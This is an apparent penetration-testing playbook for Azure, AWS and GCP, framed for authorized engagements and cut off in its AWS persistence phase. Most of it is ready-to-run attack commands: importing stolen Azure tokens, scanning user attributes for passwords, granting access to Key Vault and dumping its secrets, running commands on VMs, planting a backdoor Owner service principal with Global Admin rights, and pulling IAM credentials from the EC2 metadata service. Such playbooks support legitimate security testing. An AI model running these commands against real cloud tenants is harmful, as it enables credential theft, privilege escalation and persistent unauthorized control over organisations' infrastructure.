Cloud Penetration Testing

Purpose

Conduct comprehensive security assessments of cloud infrastructure across Microsoft Azure, Amazon Web Services (AWS), and Google Cloud Platform (GCP). This skill covers reconnaissance, authentication testing, resource enumeration, privilege escalation, data extraction, and persistence techniques for authorized cloud security engagements.

Prerequisites

Required Tools

# Azure tools
Install-Module -Name Az -AllowClobber -Force
Install-Module -Name MSOnline -Force
Install-Module -Name AzureAD -Force

# AWS CLI
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
unzip awscliv2.zip && sudo ./aws/install

# GCP CLI
curl https://sdk.cloud.google.com | bash
gcloud init

# Additional tools
pip install scoutsuite pacu

Required Knowledge

• Cloud architecture fundamentals
• Identity and Access Management (IAM)
• API authentication mechanisms
• DevOps and automation concepts

Required Access

• Written authorization for testing
• Test credentials or access tokens
• Defined scope and rules of engagement

Outputs and Deliverables

1. Cloud Security Assessment Report - Comprehensive findings and risk ratings
2. Resource Inventory - Enumerated services, storage, and compute instances
3. Credential Findings - Exposed secrets, keys, and misconfigurations
4. Remediation Recommendations - Hardening guidance per platform

Core Workflow

Phase 1: Reconnaissance

Gather initial information about target cloud presence:

# Azure: Get federation info
curl "https://login.microsoftonline.com/[email protected]&xml=1"

# Azure: Get Tenant ID
curl "https://login.microsoftonline.com/target.com/v2.0/.well-known/openid-configuration"

# Enumerate cloud resources by company name
python3 cloud_enum.py -k targetcompany

# Check IP against cloud providers
cat ips.txt | python3 ip2provider.py

Phase 2: Azure Authentication

Authenticate to Azure environments:

# Az PowerShell Module
Import-Module Az
Connect-AzAccount

# With credentials (may bypass MFA)
$credential = Get-Credential
Connect-AzAccount -Credential $credential

# Import stolen context
Import-AzContext -Profile 'C:\Temp\StolenToken.json'

# Export context for persistence
Save-AzContext -Path C:\Temp\AzureAccessToken.json

# MSOnline Module
Import-Module MSOnline
Connect-MsolService

Phase 3: Azure Enumeration

Discover Azure resources and permissions:

# List contexts and subscriptions
Get-AzContext -ListAvailable
Get-AzSubscription

# Current user role assignments
Get-AzRoleAssignment

# List resources
Get-AzResource
Get-AzResourceGroup

# Storage accounts
Get-AzStorageAccount

# Web applications
Get-AzWebApp

# SQL Servers and databases
Get-AzSQLServer
Get-AzSqlDatabase -ServerName $Server -ResourceGroupName $RG

# Virtual machines
Get-AzVM
$vm = Get-AzVM -Name "VMName"
$vm.OSProfile

# List all users
Get-MSolUser -All

# List all groups
Get-MSolGroup -All

# Global Admins
Get-MsolRole -RoleName "Company Administrator"
Get-MSolGroupMember -GroupObjectId $GUID

# Service Principals
Get-MsolServicePrincipal

Phase 4: Azure Exploitation

Exploit Azure misconfigurations:

# Search user attributes for passwords
$users = Get-MsolUser -All
foreach($user in $users){
    $props = @()
    $user | Get-Member | foreach-object{$props+=$_.Name}
    foreach($prop in $props){
        if($user.$prop -like "*password*"){
            Write-Output ("[*]" + $user.UserPrincipalName + "[" + $prop + "]" + " : " + $user.$prop)
        }
    }
}

# Execute commands on VMs
Invoke-AzVMRunCommand -ResourceGroupName $RG -VMName $VM -CommandId RunPowerShellScript -ScriptPath ./script.ps1

# Extract VM UserData
$vms = Get-AzVM
$vms.UserData

# Dump Key Vault secrets
az keyvault list --query '[].name' --output tsv
az keyvault set-policy --name <vault> --upn <user> --secret-permissions get list
az keyvault secret list --vault-name <vault> --query '[].id' --output tsv
az keyvault secret show --id <URI>

Phase 5: Azure Persistence

Establish persistence in Azure:

# Create backdoor service principal
$spn = New-AzAdServicePrincipal -DisplayName "WebService" -Role Owner
$BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($spn.Secret)
$UnsecureSecret = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR)

# Add service principal to Global Admin
$sp = Get-MsolServicePrincipal -AppPrincipalId <AppID>
$role = Get-MsolRole -RoleName "Company Administrator"
Add-MsolRoleMember -RoleObjectId $role.ObjectId -RoleMemberType ServicePrincipal -RoleMemberObjectId $sp.ObjectId

# Login as service principal
$cred = Get-Credential  # AppID as username, secret as password
Connect-AzAccount -Credential $cred -Tenant "tenant-id" -ServicePrincipal

# Create new admin user via CLI
az ad user create --display-name <name> --password <pass> --user-principal-name <upn>

Phase 6: AWS Authentication

Authenticate to AWS environments:

# Configure AWS CLI
aws configure
# Enter: Access Key ID, Secret Access Key, Region, Output format

# Use specific profile
aws configure --profile target

# Test credentials
aws sts get-caller-identity

Phase 7: AWS Enumeration

Discover AWS resources:

# Account information
aws sts get-caller-identity
aws iam list-users
aws iam list-roles

# S3 Buckets
aws s3 ls
aws s3 ls s3://bucket-name/
aws s3 sync s3://bucket-name ./local-dir

# EC2 Instances
aws ec2 describe-instances

# RDS Databases
aws rds describe-db-instances --region us-east-1

# Lambda Functions
aws lambda list-functions --region us-east-1
aws lambda get-function --function-name <name>

# EKS Clusters
aws eks list-clusters --region us-east-1

# Networking
aws ec2 describe-subnets
aws ec2 describe-security-groups --group-ids <sg-id>
aws directconnect describe-connections

Phase 8: AWS Exploitation

Exploit AWS misconfigurations:

# Check for public RDS snapshots
aws rds describe-db-snapshots --snapshot-type manual --query=DBSnapshots[*].DBSnapshotIdentifier
aws rds describe-db-snapshot-attributes --db-snapshot-identifier <id>
# AttributeValues = "all" means publicly accessible

# Extract Lambda environment variables (may contain secrets)
aws lambda get-function --function-name <name> | jq '.Configuration.Environment'

# Access metadata service (from compromised EC2)
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# IMDSv2 access
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl http://169.254.169.254/latest/meta-data/profile -H "X-aws-ec2-metadata-token: $TOKEN"

Phase 9: AWS Persistence

Establish persistence in AWS:

# List existing access keys
aws iam list-access-keys --user-name <username